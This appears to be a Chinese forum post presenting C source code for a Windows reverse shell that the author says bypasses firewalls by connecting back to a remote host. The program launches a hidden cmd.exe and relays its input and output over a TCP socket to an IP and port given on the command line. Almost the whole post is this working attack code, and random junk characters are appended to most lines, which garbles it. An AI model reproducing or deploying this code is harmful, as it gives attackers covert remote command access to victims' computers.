这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M`W%nvEDE
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/* ============================== s]=s2.=
Rebound port in Windows NT 3xhv~be
By wind,2006/7 ~R`Rj*Q2Y
===============================*/ ;WQ@dC
#include "J0,SFu:
#include 9m2_zfO[w
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#pragma comment(lib,"wsock32.lib") IAr
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void OutputShell(); t6.hg3Y
SOCKET sClient; m){.{Vn]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p_!;N^y.
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void main(int argc,char **argv) PZ/ gD
{ $9GRA M.
WSADATA stWsaData; ^!]Hm&.a
int nRet; +ahr-v^R<
SOCKADDR_IN stSaiClient,stSaiServer; !/4f/g4Ze
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if(argc != 3) !6eXJ#~[E
{ Luxo,Ve
printf("Useage:\n\rRebound DestIP DestPort\n"); 1vcI`8%S+u
return; KtWG2
} ]w _,0q
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WSAStartup(MAKEWORD(2,2),&stWsaData); )7mX]@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r7tN(2;5
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stSaiClient.sin_family = AF_INET; [\o+I:,}wi
stSaiClient.sin_port = htons(0); 1vTncU!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uN`{; Av
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^}XKhn.S'
{ AL.zF\?
printf("Bind Socket Failed!\n"); >3H/~ Y
return; tuA,t
} *_<P%J
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stSaiServer.sin_family = AF_INET; Z, Kbt
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Az.k6)~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <!.'"*2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B;'Dh<J1
{ &tFVW[(
printf("Connect Error!"); sQ65QJtt0A
return; ; 6Wlu3I
} P5;LM9W
OutputShell(); W11Wv&
} w=I'
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void OutputShell() aa<9%j
{ ~Mv@Bl
char szBuff[1024]; GS |sx
SECURITY_ATTRIBUTES stSecurityAttributes; T`g.K6$b
OSVERSIONINFO stOsversionInfo; r3o_mO?X
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L&1VPli
STARTUPINFO stStartupInfo; ; Xy\7tx
char *szShell; uLYz!E+E
PROCESS_INFORMATION stProcessInformation; Q)\7(n
unsigned long lBytesRead; EG5'kYw2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nG;wQvc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wiWpzJz
stSecurityAttributes.lpSecurityDescriptor = 0; s8| =1{
stSecurityAttributes.bInheritHandle = TRUE; x^aqnKoJ%\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I__|+%oC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ag^L' h$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "|CzQ&e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qkC+9Sk
stStartupInfo.wShowWindow = SW_HIDE; w]n20&
stStartupInfo.hStdInput = hReadPipe; P&3'N~k-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 96a A2s1
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GetVersionEx(&stOsversionInfo); nAn/V u
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switch(stOsversionInfo.dwPlatformId) 16MRLDhnD
{ *loPwV8
case 1: G#/}_P
szShell = "command.com"; -ea>}S
break; 8P r H"pI
default: @NGK2J
szShell = "cmd.exe"; >W"gr]R<
break; Ec| Gom?
} q10gKVJum
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); THirh6
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send(sClient,szMsg,77,0); P0J3ci}^
while(1) BP2-LG&\
{ <va3L y)c&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f3e#.jan
if(lBytesRead) ((A]FOIbO
{ 8YC\Bw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uR{HCZ-
send(sClient,szBuff,lBytesRead,0); u2
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} FR9<$
else X l#P@60
{ @'U9*:}U
lBytesRead=recv(sClient,szBuff,1024,0); *)k}@tY
if(lBytesRead<=0) break; ZSq7>}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z]l<,m
}
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} I%^Ks$<"
^"\ jIP
return; +MPM^ m
}